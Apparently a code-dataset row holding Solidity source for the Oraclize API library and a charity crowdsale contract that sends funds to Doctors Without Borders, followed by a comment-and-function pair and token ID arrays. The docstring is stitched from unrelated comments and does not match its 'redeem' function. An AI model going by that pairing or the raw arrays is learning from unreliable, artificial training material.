dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
// Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH)
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1; //role
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
// Step 7: verify the APPKEY1 provenance (must be signed by Ledger)
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1)
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
// Step 2: the unique keyhash has to match with the sha256 of (context name + queryId)
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
// Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1)
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
// Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage.
// This is to verify that the computed args match with the ones specified in the query.
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match
delete oraclize_randomDS_args[queryId];
} else return false;
// Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey)
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
// verify if sessionPubkeyHash was verified already, if not.. let's do it!
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
// Buffer too small
throw; // Should be a better way?
}
// NOTE: the offset 32 is added to skip the `size` field of both bytes variables
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
// Duplicate Solidity's ecrecover, but catching the CALL return value
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
// We do our own memory management here. Solidity uses memory offset
// 0x40 to store the current end of memory. We write past it (as
// writes are memory extensions), but don't update the offset so
// Solidity will reuse it. The memory used here is only needed for
// this context.
// FIXME: inline assembly can't access return values
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
// NOTE: we can reuse the request memory because we deal with
// the return code
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
// the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that
// 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
// Alternative solution:
// 'byte' is not working due to the Solidity parser, so lets
// use the second best option, 'and'
// v := and(mload(add(sig, 65)), 255)
}
// albeit non-transactional signatures are not specified by the YP, one would expect it
// to match the YP range of [27, 28]
//
// geth uses [0, 1] and some clients have followed. This might change, see:
// https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
// </ORACLIZE_API>
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
TokenOfGratitude public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
//address public wallet; => funds are collected in this contract
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime) {
require(_startTime >= now);
require(_endTime >= _startTime);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (TokenOfGratitude) {
return new TokenOfGratitude();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title Token of Gratitude fundraiser
*/
contract GratitudeCrowdsale is FinalizableCrowdsale, usingOraclize {
// Utility variables
uint256 public tokensLeft;
// Defining helper variables to differentiate Oraclize queries
bytes32 qID1;
bytes32 qID2;
// Rate related variables
uint256 public rate;
bool public hasRate;
uint public rateAge;
/*
* Randomly chosen number for the meal invitation winner
* @dev each supporter gets a nonce - the luckyNumber is randomly picked nonce by Oraclize
* @dev then points to donorsList[luckyNumber] mapping to get the address of the winner
*/
bool public hasRandom;
uint256 luckyNumber;
/*
* Medicines sans frontiers (MSF) | Doctors without borders - the public donation address
* @dev please check for due diligence:
* @notice Link to English site: https://www.lekari-bez-hranic.cz/en/bank-details#cryptocurrencies
* @notice Link to Czech site: https://www.lekari-bez-hranic.cz/bankovni-spojeni#kryptomeny
* @notice Link to Etherscan: https://etherscan.io/address/0x249f02676d09a41938309447fda33fb533d91dfc
*/
address constant public addressOfMSF = 0x249F02676D09A41938309447fdA33FB533d91DFC;
address constant public communityAddress = 0x008e9392ef82edBA2c45f2B02B9A21ac6B599BCA;
// Mapping of supporters for random selection
uint256 public donors = 0;
mapping (address => bool) donated;
mapping (uint256 => address) donorsList;
// Fundraising finalization events
event finishFundraiser(uint raised);
event fundsToMSF(uint value);
event fundsToCommunity(uint value);
// Special events for a very special golden ticket!
event goldenTicketFound(address winner);
// Oraclize related events
event newOraclizeQuery(string description);
event newRate(string price);
event newRandom(string price);
/**
* Constructor
* @dev Contract constructor
* @param _startTime uint256 is a unix timestamp of when the fundraiser starts
* @param _endTime uint256 is a unix timestamp of when the fundraiser ends
*/
function GratitudeCrowdsale(uint256 _startTime, uint256 _endTime)
FinalizableCrowdsale()
Crowdsale(_startTime, _endTime)
{
owner = msg.sender;
tokensLeft = 500;
}
/**
* buyTokens override
* @dev Implementation of the override to the buy in function for incoming ETH
* @param beneficiary address of the participating party
*/
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
// Sign up first-time donors to the list + give them a nonce so they can win the golden ticket!
if (!donated[beneficiary]) {
donated[beneficiary] = true;
donorsList[donors] = beneficiary;
donors += 1;
}
// Check if there are still tokens left (otherwise skipped)
if (tokensLeft > 0) {
// See how many tokens can the donor get.
uint256 toGet = howMany(msg.value);
// If some, give the tokens to the donor.
if (toGet > 0) {
token.mint(beneficiary,toGet);
TokenPurchase(msg.sender, beneficiary, msg.value, toGet);
}
}
// update state
weiRaised = weiRaised.add(msg.value);
}
/**
* Recursive function that counts amount of tokens to assign (even if a contribution overflows certain price range)
* @dev Recalculating tokens to receive based on teh currentPrice(2) function.
* @dev Number of recursive entrances is equal to the number of price levels (not counting the initial call)
* @return toGet - amount of tokens to receive from the particular price range
*/
function howMany(uint256 _value) internal returns (uint256){
// Check current price level
var (price, canGet) = currentPrice();
uint256 toGet = _value.div(price);
// Act based on amount of tokens to get
if (canGet == 0) {
toGet = 0;
} else if (toGet > canGet) {
tokensLeft -= canGet;
toGet = canGet + howMany(_value - (canGet*price));
} else {
tokensLeft -= toGet;
}
return toGet;
}
/**
* Function returning the current price of ToG and amount of tokens available at that price
* @dev can be used prior to the donation as a constant function but it is mainly used in the noname function
* @return price - current price range
* @return maxAtPrice - maximal amount of tokens available at current price
*/
function currentPrice() constant returns (uint256 price, uint256 maxAtPrice){
if (tokensLeft > 400) {
return (100 finney, tokensLeft - 400);
} else if (tokensLeft > 300) {
return (200 finney, tokensLeft - 300);
} else if (tokensLeft > 200) {
return (300 finney, tokensLeft - 200);
} else if (tokensLeft > 100) {
return (400 finney, tokensLeft - 100);
} else {
return (500 finney, tokensLeft);
}
}
/**
* The pre-finalization requirement - get ETHUSD rate
* @dev initiates Oraclize call for ETHUSD rate
* @param gasLimit uint256 setting gasLimit of the __callback tx from Oraclize
*/
function loadRate(uint256 gasLimit) payable {
// Owner check
require(msg.sender == owner);
// Make an Oraclize queriey for ETHUSD rate
getRateUSD(gasLimit);
}
/**
* The pre-finalization requirement - get Random number
* @dev initiates Oraclize call for random number
* @param gasLimit uint256 setting gasLimit of the __callback tx from Oraclize
*/
function loadRandom(uint256 gasLimit) payable {
// Owner check
require(msg.sender == owner);
// Make an Oraclize query for a random number
getRandom(gasLimit);
}
/**
* The finalization override - commented bellow
*/
function finalization() internal {
//Check if the crowdsale has ended
require(hasEnded());
// Check the rate was queried less then 1 hour ago
require(hasRate);
require((now - rateAge) <= 3600);
// Check the random number was received
require(hasRandom);
// Assign GoldenTicket
token.giveGoldenTicket(donorsList[luckyNumber]);
goldenTicketFound(donorsList[luckyNumber]);
// Calling checkResult from PriceChecker contract
uint256 funding = checkResult();
uint256 raisedWei = this.balance;
uint256 charityShare;
uint256 toCharity;
// If goal isn't met => send everything to MSF
if (funding < 10000) {
addressOfMSF.transfer(raisedWei);
fundsToMSF(toCharity);
} else if (funding < 25000) {
// If 2nd goal isn't met => send the rest above the 1st goal to MSF
charityShare = toPercentage(funding, funding-10000);
toCharity = fromPercentage(raisedWei, charityShare);
// Donate to charity first
addressOfMSF.transfer(toCharity);
fundsToMSF(toCharity);
// Send funds to community;
communityAddress.transfer(raisedWei - toCharity);
fundsToCommunity(raisedWei - toCharity);
} else {
// If 2nd goal is met => send the rest above the 2nd goal to MSF
charityShare = toPercentage(funding, funding-25000);
toCharity = fromPercentage(raisedWei, charityShare);
// Donate to charity first
addressOfMSF.transfer(toCharity);
fundsToMSF(toCharity);
// Send funds to community;
communityAddress.transfer(raisedWei - toCharity);
fundsToCommunity(raisedWei - toCharity);
}
token.finishMinting();
super.finalization();
}
/**
* @dev Checking results of the fundraiser in USD
* @return rated - total funds raised converted to USD
*/
function checkResult() internal returns (uint256){
uint256 raised = this.balance;
// convert wei => usd to perform checks
uint256 rated = (raised.mul(rate)).div(10000000000000000000000);
return rated;
}
/**
* Helper function to get split funds between the community and charity I
* @dev Counts percentage of the total funds that belongs to the charity
* @param total funds raised in USD
* @param part of the total funds raised that should go to the charity
* @return percentage in full expressed as a natural number between 0 and 100
*/
function toPercentage (uint256 total, uint256 part) internal returns (uint256) {
return (part*100)/total;
}
/**
* Helper function to get split funds between the community and charity II
* @dev Counts the exact amount of Wei to get send to the charity
* @param value of total funds raised in Wei
* @param percentage to be used obtained from the toPercentage(2) function
* @return amount of Wei to be send to the charity
*/
function fromPercentage(uint256 value, uint256 percentage) internal returns (uint256) {
return (value*percentage)/100;
}
// <DATA FEEDS USING ORACLIZE>
/**
* @dev Create the ETHUSD query to Kraken thorough Oraclize
*/
function getRateUSD(uint256 _gasLimit) internal {
//require(msg.sender == owner);
oraclize_setProof(proofType_TLSNotary);
if (oraclize.getPrice("URL") > this.balance) {
newOraclizeQuery("Oraclize: Insufficient funds!");
} else {
newOraclizeQuery("Oraclize was asked for ETHUSD rate.");
qID1 = oraclize_query("URL", "json(https://api.kraken.com/0/public/Ticker?pair=ETHUSD).result.XETHZUSD.p.1", _gasLimit);
}
}
/**
* @dev Create the random number query to Oraclize
*/
function getRandom(uint256 _gasLimit) internal {
//require (msg.sender == owner);
oraclize_setProof(proofType_Ledger);
if (oraclize.getPrice("random") > this.balance) {
newOraclizeQuery("Oraclize: Insufficient funds!");
} else {
newOraclizeQuery("Oraclize was asked for a random number.");
// Make query for 4 random bytes to potentially get a number between 0 and 4294967295.
// The assumption is that there won't be more then 4294967295 participants.
// This may potentially hurt your contract as the "random mod participants" result distribution is unequal.
// There creates an incentive to join earlier to have an micro advantage.
qID2 = oraclize_newRandomDSQuery(0, 4, _gasLimit);
}
}
/**
*Oraclize callback function awaiting for response from the queries
* @dev uses qType to handle the last called query type
* @dev different querytypes shouldn't be called before callback was received
* @dev -> not implementing a query que as "owner" is the only party responsible for creating order
*/
function __callback(bytes32 myid, string result, bytes proof) {
require(msg.sender == oraclize_cbAddress());
if (myid == qID1) {
checkQueryA(myid, result, proof);
} else if (myid == qID2) {
checkQueryB(myid, result, proof);
}
}
/**
* A helper function to separate reaction to different Oraclize queries - ETHUSD rate
* @dev reaction to ETHUSD rate oraclize callback - getRateUSD()
* @dev sets global vars rate to the result and rateAge to current timeStamp
* @param _myid 32 bytes identifying the query generated by Oraclize
* @param _result string with query result by Oraclize
* @param _proof byte array with the proof of source by Oraclize
*/
function checkQueryA(bytes32 _myid, string _result, bytes _proof) internal {
newRate(_result);
// calling Oraclize string => uint256 converter for a number with 4 decimals
rate = parseInt(_result,4);
rateAge = now;
hasRate = true;
}
/**
* A helper function to separate reaction to different Oraclize queries - random number
* @dev reaction to random number oraclize callback - getRandom(number of participants)
* @dev sets global var luckyNumber to the result
* @param _myid 32 bytes identifying the query generated by Oraclize
* @param _result string with query result by Oraclize
* @param _proof byte array with the proof of source by Oraclize
*/
function checkQueryB(bytes32 _myid, string _result, bytes _proof) internal oraclize_randomDS_proofVerify(_myid, _result, _proof) {
newRandom(_result);
// Calling Oraclize string => uint converter
uint256 someNumber = parseInt(string(bytes(_result)),0);
// Getting a luckyNumber between 0 and the number of donors (Random-number modulo number of donors)
luckyNumber = someNumber%donors;
hasRandom = true;
}
//Adjusting the hasEnded function to a case where all tokens were sold
function hasEnded() public constant returns (bool) {
return ((now > endTime) || (tokensLeft <= 0)) ;
}
}
| * Function returning the current price of ToG @dev can be used prior to the donation as a constant function but it is mainly used in the noname function @param message should contain an encrypted contract info of the redeemer to setup a meeting/ Check caller has a token Check tokens did not expire Lock the token against further transfers Call out | function redeem(string message) {
require (balances[msg.sender] >= 1);
require (now <= expirationDate);
balances[msg.sender] -= 1;
redeemed[msg.sender] += 1;
tokenRedemption(msg.sender, message);
}
| 12,655,504 | [
1,
2083,
5785,
326,
783,
6205,
434,
2974,
43,
225,
848,
506,
1399,
6432,
358,
326,
2727,
367,
487,
279,
5381,
445,
1496,
518,
353,
31457,
1399,
316,
326,
1661,
339,
445,
225,
883,
1410,
912,
392,
6901,
6835,
1123,
434,
326,
283,
24903,
264,
358,
3875,
279,
18721,
310,
19,
2073,
4894,
711,
279,
1147,
2073,
2430,
5061,
486,
6930,
3488,
326,
1147,
5314,
9271,
29375,
3049,
596,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
283,
24903,
12,
1080,
883,
13,
288,
203,
203,
3639,
2583,
261,
70,
26488,
63,
3576,
18,
15330,
65,
1545,
404,
1769,
203,
203,
3639,
2583,
261,
3338,
1648,
7686,
1626,
1769,
203,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
3947,
404,
31,
203,
3639,
